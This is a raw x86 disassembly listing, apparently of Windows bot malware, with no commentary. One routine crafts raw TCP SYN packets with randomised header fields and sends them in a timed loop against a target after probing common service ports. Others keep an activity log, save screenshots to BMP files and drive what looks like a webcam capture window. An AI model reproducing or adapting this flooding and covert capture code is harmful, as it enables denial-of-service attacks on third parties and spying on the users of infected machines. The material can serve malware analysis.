var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-6Ch]
sub esp, 10Ch
push ebx
push esi
push edi
xor esi, esi
inc esi
push esi
xor ebx, ebx
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp+6Ch+var_14], esi
call ds:dword_42B1D0 ; WSASocketA
push 4
lea ecx, [ebp+6Ch+var_14]
push ecx
push 2
push ebx
push eax
mov dword_4D5D20, eax
call dword_444120 ; setsockopt
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
push 19h
pop ecx
xor eax, eax
lea edi, [ebp+6Ch+var_100]
mov [ebp+6Ch+var_7C], ecx
mov [ebp+6Ch+var_10C], ebx
mov [ebp+6Ch+var_108], ebx
mov [ebp+6Ch+var_104], ebx
mov [ebp+6Ch+var_8C], 401h
mov [ebp+6Ch+var_88], 15h
mov [ebp+6Ch+var_84], 16h
mov [ebp+6Ch+var_80], 17h
mov [ebp+6Ch+var_78], 35h
mov [ebp+6Ch+var_74], 50h
mov [ebp+6Ch+var_70], 51h
mov [ebp+6Ch+var_6C], 58h
mov [ebp+6Ch+var_68], 6Eh
mov [ebp+6Ch+var_64], 71h
mov [ebp+6Ch+var_60], 77h
mov [ebp+6Ch+var_5C], 87h
mov [ebp+6Ch+var_58], 89h
mov [ebp+6Ch+var_54], 8Bh
mov [ebp+6Ch+var_50], 8Fh
mov [ebp+6Ch+var_4C], 1BBh
mov [ebp+6Ch+var_48], 1BDh
mov [ebp+6Ch+var_44], 400h
mov [ebp+6Ch+var_40], 599h
mov [ebp+6Ch+var_3C], 5DCh
mov [ebp+6Ch+var_38], 6B8h
mov [ebp+6Ch+var_34], 0CEAh
mov [ebp+6Ch+var_30], 0D3Dh
mov [ebp+6Ch+var_2C], 1388h
mov [ebp+6Ch+var_28], 1A0Bh
mov [ebp+6Ch+var_24], 1F40h
mov [ebp+6Ch+var_20], 1F90h
rep stosd
mov [ebp+6Ch+var_C], ebx
mov [ebp+6Ch+var_1C], 3
mov [ebp+6Ch+var_18], 0BB8h
mov [ebp+6Ch+var_4], ebx
loc_4178AB: ; CODE XREF: sub_41776E+1A5j
mov eax, [ebp+6Ch+arg_0]
mov edi, [ebp+6Ch+var_4]
mov [ebp+6Ch+var_98], eax
xor eax, eax
lea edi, [ebp+edi+6Ch+var_8C]
mov ax, [edi]
mov [ebp+6Ch+var_9C], 2
push eax
call dword_444260 ; htons
push ebx
push esi
push 2
mov [ebp+6Ch+var_9A], ax
call dword_444100 ; socket
lea ecx, [ebp+6Ch+var_1C]
push ecx
push 10h
lea ecx, [ebp+6Ch+var_9C]
push ecx
push eax
mov [ebp+6Ch+var_8], eax
call sub_417688
add esp, 10h
push [ebp+6Ch+var_8]
mov [ebp+6Ch+var_10], eax
call dword_444218 ; closesocket
cmp [ebp+6Ch+var_10], ebx
jnz short loc_41790B
mov eax, [edi]
mov ecx, [ebp+6Ch+var_4]
mov [ebp+ecx+6Ch+var_10C], eax
loc_41790B: ; CODE XREF: sub_41776E+18Fj
add [ebp+6Ch+var_4], 4
cmp [ebp+6Ch+var_4], 70h
jl short loc_4178AB
push offset asc_42FE58 ; " "
mov esi, offset byte_4D5D28
push esi ; Dest
call _sprintf
mov edi, ds:dword_42B038
pop ecx
pop ecx
call edi ; GetTickCount
mov [ebp+6Ch+var_8], eax
mov [ebp+6Ch+var_4], ebx
loc_417935: ; CODE XREF: sub_41776E+21Ej
call edi ; GetTickCount
sub eax, [ebp+6Ch+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+6Ch+arg_4]
ja short loc_41798E
mov eax, [ebp+6Ch+var_4]
mov eax, [ebp+eax*4+6Ch+var_10C]
cmp eax, ebx
jz short loc_41796B
push eax
push esi
push offset aSD ; "%s%d "
push esi ; Dest
mov [ebp+6Ch+var_C], eax
call _sprintf
add esp, 10h
jmp short loc_417985
; ---------------------------------------------------------------------------
loc_41796B: ; CODE XREF: sub_41776E+1E6j
push 0FFFFh
push ebx
call sub_41B325
pop ecx
pop ecx
push eax
call dword_444260 ; htons
movzx eax, ax
mov [ebp+6Ch+var_C], eax
loc_417985: ; CODE XREF: sub_41776E+1FBj
inc [ebp+6Ch+var_4]
cmp [ebp+6Ch+var_4], 1Ch
jl short loc_417935
loc_41798E: ; CODE XREF: sub_41776E+1D8j
; sub_41776E+448j
push 28h ; Size
push ebx ; Val
push offset byte_4D5CE0 ; Dst
call _memset
mov esi, 0FFFFh
push esi
push 400h
mov byte_4D5CE0, 45h
mov byte_4D5CE9, 6
mov byte_4D5CE1, 8
call sub_41B325
add esp, 14h
push eax
call dword_444260 ; htons
push 28h
mov word_4D5CE4, ax
call dword_444260 ; htons
cmp dword_4D5898, ebx
mov word_4D5CE2, ax
mov word_4D5CE6, bx
mov byte_4D5CE8, 0FFh
jnz short loc_4179FF
push [ebp+6Ch+arg_0]
call sub_41766A
pop ecx
jmp short loc_417A0A
; ---------------------------------------------------------------------------
loc_4179FF: ; CODE XREF: sub_41776E+284j
push offset byte_4D5698
call dword_44417C ; inet_addr
loc_417A0A: ; CODE XREF: sub_41776E+28Fj
mov dword_4D5CEC, eax
mov eax, [ebp+6Ch+arg_0]
push 4000h
mov dword_4D5CF0, eax
mov byte_4D5D01, bl
call dword_444260 ; htons
push esi
push ebx
mov word_4D5D02, ax
call sub_41B325
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_41B325
add esp, 10h
add edi, eax
push edi
call dword_444234 ; htonl
mov edi, [ebp+6Ch+arg_0]
mov dword_4D5CF8, eax
mov al, byte_4D5D00
and al, 0Fh
or al, 50h
mov byte_4D5D00, al
mov ax, word ptr [ebp+6Ch+var_C]
push 14h
mov dword_4D5CFC, ebx
mov word_4D5D06, bx
mov word_4D5CF6, ax
mov dword_4D5CC0, edi
mov byte_4D5CC4, bl
mov byte_4D5CC5, 6
call dword_444260 ; htons
mov word_4D5CC6, ax
mov ax, word_4D5CF6
mov word_4D5D0C, 2
mov dword_4D5D10, edi
mov word_4D5D0E, ax
mov [ebp+6Ch+var_4], ebx
jmp short loc_417AC0
; ---------------------------------------------------------------------------
loc_417ABB: ; CODE XREF: sub_41776E+422j
mov esi, 0FFFFh
loc_417AC0: ; CODE XREF: sub_41776E+34Bj
cmp [ebp+6Ch+var_4], ebx
push esi
push ebx
jnz short loc_417AF4
call sub_41B325
pop ecx
pop ecx
push eax
call dword_444260 ; htons
mov word_4D5CF4, ax
mov eax, dword_4D5CEC
mov dword_4D5CBC, eax
mov byte_4D5D01, 2
mov dword_4D5CFC, ebx
jmp short loc_417B11
; ---------------------------------------------------------------------------
loc_417AF4: ; CODE XREF: sub_41776E+357j
mov byte_4D5D01, 10h
call sub_41B325
pop ecx
pop ecx
push eax
call dword_444260 ; htons
movzx eax, ax
mov dword_4D5CFC, eax
loc_417B11: ; CODE XREF: sub_41776E+384j
inc word_4D5CE4
inc dword_4D5CF8
mov ax, word_4D5CF6
push 5
pop ecx
mov word_4D5CEA, bx
mov word_4D5D04, bx
mov esi, offset word_4D5CF4
mov edi, offset dword_4D5CC8
rep movsd
push 14h
mov esi, offset byte_4D5CE0
push esi
mov word_4D5D0E, ax
call sub_402422
push 20h
push offset dword_4D5CBC
mov word_4D5CEA, ax
call sub_402422
add esp, 10h
push 10h
push offset word_4D5D0C
push ebx
push 28h
push esi
push dword_4D5D20
mov word_4D5D04, ax
call dword_4440CC ; sendto
inc [ebp+6Ch+var_4]
cmp [ebp+6Ch+var_4], 3FFh
jl loc_417ABB
call ds:dword_42B038 ; GetTickCount
sub eax, [ebp+6Ch+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+6Ch+arg_4]
ja short loc_417BBB
push [ebp+6Ch+arg_8]
call ds:dword_42B014 ; Sleep
jmp loc_41798E
; ---------------------------------------------------------------------------
loc_417BBB: ; CODE XREF: sub_41776E+43Dj
pop edi
pop esi
mov eax, offset byte_4D5D28
pop ebx
add ebp, 6Ch
leave
retn
sub_41776E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417BC8 proc near ; DATA XREF: sub_40274D+605Co
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov esi, eax
mov ecx, 85h
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+Str]
push eax ; Str
call j__atol
pop ecx
push eax
lea eax, [ebp+var_190]
push eax ; Str
call j__atol
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
call dword_44417C ; inet_addr
push eax
call sub_41776E
push eax
lea eax, [ebp+Dest]
push offset asc_435CCC ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_417C5A
push esi ; int
push [ebp+var_C] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_214] ; int
call sub_40123B
add esp, 14h
loc_417C5A: ; CODE XREF: sub_417BC8+70j
lea eax, [ebp+Dest]
push eax
call sub_417D70
push [ebp+var_10]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_417BC8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417C78(char *Str2,int)
sub_417C78 proc near ; CODE XREF: sub_40274D+6E31p
var_4 = dword ptr -4
Str2 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_4D1450
mov edi, 0B8h
loc_417C8C: ; CODE XREF: sub_417C78+33j
cmp byte ptr [esi], 0
jz short loc_417CAF
push [ebp+Str2] ; Str2
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_417CAF
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_4D1FD0
jl short loc_417C8C
jmp short loc_417CF1
; ---------------------------------------------------------------------------
loc_417CAF: ; CODE XREF: sub_417C78+17j
; sub_417C78+26j
mov esi, [ebp+var_4]
imul esi, 0B8h
push ebx
push edi ; Size
lea ebx, dword_4D1450[esi]
push 0 ; Val
push ebx ; Dst
call _memset
push 17h ; Count
push [ebp+Str2] ; Source
push ebx ; Dest
call _strncpy
push 9Fh ; Count
push [ebp+arg_4] ; Source
lea eax, dword_4D1468[esi]
push eax ; Dest
call _strncpy
add esp, 24h
inc dword_43C498
pop ebx
loc_417CF1: ; CODE XREF: sub_417C78+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_417C78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417CF8(int,char *Str,int)
sub_417CF8 proc near ; CODE XREF: sub_40274D+26BCp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset dword_435D0C ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
xor edi, edi
mov esi, offset dword_4D1450
loc_417D22: ; CODE XREF: sub_417CF8+72j
cmp byte ptr [esi], 0
jz short loc_417D5D
lea eax, [esi+18h]
push eax
push esi
push edi
push offset aD_ ; "%d. "
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 2Ch
loc_417D5D: ; CODE XREF: sub_417CF8+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_4D1FD0
jl short loc_417D22
pop edi
pop esi
leave
retn
sub_417CF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417D70 proc near ; CODE XREF: sub_401F92+320p
; sub_4022F5+B5p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+var_10]
push eax
call ds:dword_42B0D4 ; GetLocalTime
mov ebx, offset dword_4DA128
mov edi, 80h
mov esi, offset byte_4D6128
loc_417D92: ; CODE XREF: sub_417D70+3Dj
cmp byte ptr [ebx], 0
jz short loc_417DA9
push 7Fh ; Count
lea eax, [ebx+80h]
push ebx ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_417DA9: ; CODE XREF: sub_417D70+25j
sub ebx, edi
cmp ebx, esi
jge short loc_417D92
push [ebp+arg_0]
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_417D70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417DE4(char *Format,char Args)
sub_417DE4 proc near ; CODE XREF: sub_4025EF+BAp
; sub_40274D+6DAAp ...
Dest = byte ptr -80h
Format = dword ptr 8
Args = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+Args]
push eax ; Args
push [ebp+Format] ; Format
lea eax, [ebp+Dest]
push 80h ; Count
push eax ; Dest
call __vsnprintf
lea eax, [ebp+Dest]
push eax
call sub_417D70
add esp, 14h
leave
retn
sub_417DE4 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_417E10(int,char *Str,int,int)
sub_417E10 proc near ; CODE XREF: sub_40274D+25BDp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset byte_4D6128
xor ecx, ecx
loc_417E17: ; CODE XREF: sub_417E10+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4DA128
jl short loc_417E17
cmp [esp+arg_C], ecx
jnz short loc_417E45
push ecx ; int
push [esp+4+arg_8] ; int
push offset dword_435D58 ; int
push [esp+0Ch+Str] ; Str
push [esp+10h+arg_0] ; int
call sub_40123B
add esp, 14h
loc_417E45: ; CODE XREF: sub_417E10+19j
push offset dword_435D44
call sub_417D70
pop ecx
retn
sub_417E10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_417E51 proc near ; DATA XREF: sub_40274D+266Ao
Dest = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
Str = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 31Ch
mov eax, [ebp+74h+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_11C]
rep movsd
xor edi, edi
xor edx, edx
inc edi
cmp [ebp+74h+var_10], edx
mov [ebp+74h+var_8], 80h
mov [ebp+74h+var_4], edx
mov [eax+110h], edi
jnz short loc_417EA6
push edx ; int
push [ebp+74h+var_14] ; int
lea eax, [ebp+74h+var_118]
push offset dword_435D88 ; int
push eax ; Str
push [ebp+74h+var_11C] ; int
call sub_40123B
add esp, 14h
loc_417EA6: ; CODE XREF: sub_417E51+35j
cmp [ebp+74h+Str], 0
jz short loc_417EC0
lea eax, [ebp+74h+Str]
push eax ; Str
call j__atol
test eax, eax
pop ecx
mov [ebp+74h+var_4], eax
jz short loc_417EC0
mov [ebp+74h+var_8], eax
loc_417EC0: ; CODE XREF: sub_417E51+59j
; sub_417E51+6Aj
and [ebp+74h+arg_0], 0
mov esi, offset byte_4D6128
loc_417EC9: ; CODE XREF: sub_417E51+CAj
mov eax, [ebp+74h+arg_0]
cmp eax, [ebp+74h+var_8]
jge short loc_417F1D
cmp byte ptr [esi], 0
jz short loc_417F0C
cmp [ebp+74h+Str], 0
jz short loc_417EF2
cmp [ebp+74h+var_4], 0
jnz short loc_417EF2
lea eax, [ebp+74h+Str]
push eax ; int
push esi ; Str
call sub_41B39F
test eax, eax
pop ecx
pop ecx
jz short loc_417F0C
loc_417EF2: ; CODE XREF: sub_417E51+89j
; sub_417E51+8Fj
push edi ; int
push [ebp+74h+var_14] ; int
lea eax, [ebp+74h+var_118]
push esi ; int
push eax ; Str
push [ebp+74h+var_11C] ; int
call sub_40123B
add esp, 14h
loc_417F0C: ; CODE XREF: sub_417E51+83j
; sub_417E51+9Fj
inc [ebp+74h+arg_0]
add esi, 80h
cmp esi, offset dword_4DA128
jl short loc_417EC9
loc_417F1D: ; CODE XREF: sub_417E51+7Ej
lea eax, [ebp+74h+Dest]
push offset asc_435D6C ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
cmp [ebp+74h+var_10], esi
pop ecx
pop ecx
jnz short loc_417F57
push esi ; int
push [ebp+74h+var_14] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_118]
push eax ; Str
push [ebp+74h+var_11C] ; int
call sub_40123B
add esp, 14h
loc_417F57: ; CODE XREF: sub_417E51+E4j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_18]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_417E51 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_417F75 proc near ; CODE XREF: sub_40274D+6F5Dp
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 484h
push esi
push edi
xor esi, esi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_444250 ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp+74h+var_20], edi
jnz short loc_417FA2
xor eax, eax
jmp loc_4181AB
; ---------------------------------------------------------------------------
loc_417FA2: ; CODE XREF: sub_417F75+24j
push ebx
push 8
push edi
call dword_444178 ; GetDeviceCaps
push 0Ah
push edi
mov [ebp+74h+var_C], eax
call dword_444178 ; GetDeviceCaps
push 0Ch
push edi
mov [ebp+74h+var_4], eax
call dword_444178 ; GetDeviceCaps
cmp eax, 8
mov [ebp+74h+var_10], eax
ja short loc_417FDC
push 18h
push edi
call dword_444178 ; GetDeviceCaps
mov ebx, 100h
jmp short loc_417FDE
; ---------------------------------------------------------------------------
loc_417FDC: ; CODE XREF: sub_417F75+55j
xor ebx, ebx
loc_417FDE: ; CODE XREF: sub_417F75+65j
push edi
call dword_444180 ; CreateCompatibleDC
cmp eax, esi
mov [ebp+74h+var_8], eax
jz loc_41818D
mov eax, [ebp+74h+var_C]
mov [ebp+74h+var_80], eax
mov eax, [ebp+74h+var_4]
mov [ebp+74h+var_7C], eax
mov ax, word ptr [ebp+74h+var_10]
push esi
push esi
mov [ebp+74h+var_76], ax
lea eax, [ebp+74h+var_18]
push eax
push 1
lea eax, [ebp+74h+var_84]
push eax
push edi
mov [ebp+74h+var_84], 28h
mov [ebp+74h+var_78], 1
mov [ebp+74h+var_74], esi
mov [ebp+74h+var_70], esi
mov [ebp+74h+var_6C], esi
mov [ebp+74h+var_68], esi
mov [ebp+74h+var_64], ebx
mov [ebp+74h+var_60], ebx
call dword_44421C ; CreateDIBSection
cmp eax, esi
mov [ebp+74h+var_1C], eax
jz loc_418198
push eax
push [ebp+74h+var_8]
call dword_44408C ; SelectObject
cmp eax, esi
jz loc_418198
cmp eax, 0FFFFFFFFh
jz loc_418198
push 0CC0020h
push esi
push esi
push edi
push [ebp+74h+var_4]
push [ebp+74h+var_C]
push esi
push esi
push [ebp+74h+var_8]
call dword_444190 ; BitBlt
test eax, eax
jz loc_418198
cmp ebx, esi
jz short loc_418095
lea eax, [ebp+74h+var_484]
push eax
push ebx
push esi
push [ebp+74h+var_8]
call dword_4441C0 ; GetDIBColorTable
mov ebx, eax
loc_418095: ; CODE XREF: sub_417F75+10Aj
mov edi, [ebp+74h+var_10]
imul edi, [ebp+74h+var_4]
mov ecx, [ebp+74h+var_C]
imul edi, ecx
push esi
push 80h
push 2
mov eax, ebx
shl eax, 2
mov [ebp+74h+var_C], eax
shr edi, 3
lea edx, [eax+edi+36h]
add eax, 36h
push esi
mov [ebp+74h+var_26], eax
mov eax, [ebp+74h+var_4]
push esi
push 40000000h
push [ebp+74h+arg_0]
mov [ebp+74h+var_50], eax
mov ax, word ptr [ebp+74h+var_10]
mov [ebp+74h+var_30], 4D42h
mov [ebp+74h+var_2E], edx
mov [ebp+74h+var_2A], si
mov [ebp+74h+var_28], si
mov [ebp+74h+var_58], 28h
mov [ebp+74h+var_54], ecx
mov [ebp+74h+var_4C], 1
mov [ebp+74h+var_4A], ax
mov [ebp+74h+var_48], esi
mov [ebp+74h+var_44], esi
mov [ebp+74h+var_40], esi
mov [ebp+74h+var_3C], esi
mov [ebp+74h+var_38], ebx
mov [ebp+74h+var_34], esi
call ds:dword_42B08C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+74h+var_4], eax
jz short loc_418178
push esi
lea ecx, [ebp+74h+var_14]
push ecx
push 0Eh
lea ecx, [ebp+74h+var_30]
push ecx
push eax
call ds:dword_42B084 ; WriteFile
push esi
lea eax, [ebp+74h+var_14]
push eax
push 28h
lea eax, [ebp+74h+var_58]
push eax
push [ebp+74h+var_4]
call ds:dword_42B084 ; WriteFile
cmp ebx, esi
jz short loc_41815A
push esi
lea eax, [ebp+74h+var_14]
push eax
push [ebp+74h+var_C]
lea eax, [ebp+74h+var_484]
push eax
push [ebp+74h+var_4]
call ds:dword_42B084 ; WriteFile
loc_41815A: ; CODE XREF: sub_417F75+1CBj
push esi
lea eax, [ebp+74h+var_14]
push eax
push edi
push [ebp+74h+var_18]
push [ebp+74h+var_4]
call ds:dword_42B084 ; WriteFile
push [ebp+74h+var_4]
call ds:dword_42B004 ; CloseHandle
xor esi, esi
inc esi
loc_418178: ; CODE XREF: sub_417F75+1A1j
push [ebp+74h+var_1C]
call dword_444184 ; DeleteObject
push [ebp+74h+var_8]
call dword_444130 ; DeleteDC
mov edi, [ebp+74h+var_20]
loc_41818D: ; CODE XREF: sub_417F75+75j
push edi
call dword_444130 ; DeleteDC
mov eax, esi
jmp short loc_4181AA
; ---------------------------------------------------------------------------
loc_418198: ; CODE XREF: sub_417F75+C6j
; sub_417F75+D8j ...
push edi
call dword_444130 ; DeleteDC
push [ebp+74h+var_8]
call dword_444130 ; DeleteDC
xor eax, eax
loc_4181AA: ; CODE XREF: sub_417F75+221j
pop ebx
loc_4181AB: ; CODE XREF: sub_417F75+28j
pop edi
pop esi
add ebp, 74h
leave
retn
sub_417F75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4181B2 proc near ; CODE XREF: sub_40274D+7071p
var_38 = byte ptr -38h
var_24 = dword ptr -24h
Src = dword ptr -0Ch
Size = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
push ebx
push esi
push edi
xor esi, esi
inc esi
push esi
push dword_4DA128
xor ebx, ebx
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_444138
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_4181F0
mov eax, esi
jmp loc_4183A6
; ---------------------------------------------------------------------------
loc_4181F0: ; CODE XREF: sub_4181B2+35j
push edi
call dword_444084 ; IsWindow
test eax, eax
jz short loc_41820D
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4441CC ; SendMessageA
jmp short loc_41820F
; ---------------------------------------------------------------------------
loc_41820D: ; CODE XREF: sub_4181B2+47j
xor eax, eax
loc_41820F: ; CODE XREF: sub_4181B2+59j
cmp eax, ebx
jnz short loc_41821A
loc_418213: ; CODE XREF: sub_4181B2+88j
; sub_4181B2+BCj
mov ebx, esi
jmp loc_41839B
; ---------------------------------------------------------------------------
loc_41821A: ; CODE XREF: sub_4181B2+5Fj
push edi
call dword_444084 ; IsWindow
test eax, eax
jz short loc_418237
lea eax, [ebp+var_38]
push eax
push 2Ch
push 40Eh
push edi
call dword_4441CC ; SendMessageA
loc_418237: ; CODE XREF: sub_4181B2+71j
cmp [ebp+var_24], ebx
jz short loc_418213
push edi
call dword_444084 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_41825D
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4441CC ; SendMessageA
mov [ebp+Size], eax
jmp short loc_418260
; ---------------------------------------------------------------------------
loc_41825D: ; CODE XREF: sub_4181B2+98j
mov [ebp+Size], ebx
loc_418260: ; CODE XREF: sub_4181B2+A9j
push [ebp+Size] ; Size
call _malloc
cmp eax, ebx
pop ecx
mov [ebp+Src], eax
jz short loc_418213
push [ebp+Size] ; Size
call _malloc
mov esi, eax
cmp esi, ebx
pop ecx
jnz short loc_418287
xor ebx, ebx
inc ebx
jmp loc_41839B
; ---------------------------------------------------------------------------
loc_418287: ; CODE XREF: sub_4181B2+CBj
push [ebp+var_4]
call dword_444084 ; IsWindow
test eax, eax
jz short loc_4182A4
push [ebp+Src]
push [ebp+Size]
push edi
push [ebp+var_4]
call dword_4441CC ; SendMessageA
loc_4182A4: ; CODE XREF: sub_4181B2+E0j
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push esi ; Dst
call _memcpy
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4182BF
mov ecx, 280h
loc_4182BF: ; CODE XREF: sub_4181B2+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_4182CB
mov eax, 1E0h
loc_4182CB: ; CODE XREF: sub_4181B2+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_444084 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_418315
push esi
push [ebp+Size]
push edi
push [ebp+var_4]
call dword_4441CC ; SendMessageA
loc_418315: ; CODE XREF: sub_4181B2+153j
push [ebp+var_4]
call dword_444084 ; IsWindow
test eax, eax
jz short loc_418332
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4441CC ; SendMessageA
loc_418332: ; CODE XREF: sub_4181B2+16Ej
push [ebp+var_4]
call dword_444084 ; IsWindow
test eax, eax
jz short loc_418351
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4441CC ; SendMessageA
loc_418351: ; CODE XREF: sub_4181B2+18Bj
push [ebp+var_4]
call dword_444084 ; IsWindow
test eax, eax
jz short loc_41836E
push [ebp+Src]
push [ebp+Size]
push edi
push [ebp+var_4]
call dword_4441CC ; SendMessageA
loc_41836E: ; CODE XREF: sub_4181B2+1AAj
push [ebp+Src] ; Memory
call _free
push esi ; Memory
call _free
pop ecx
pop ecx
push [ebp+var_4]
call dword_444084 ; IsWindow
test eax, eax
jz short loc_41839B
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4441CC ; SendMessageA
loc_41839B: ; CODE XREF: sub_4181B2+63j
; sub_4181B2+D0j ...
push [ebp+var_4]
call dword_4440F8 ; DestroyWindow
mov eax, ebx
loc_4183A6: ; CODE XREF: sub_4181B2+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4181B2 endp
; =============== S U B R O U T I N E =======================================
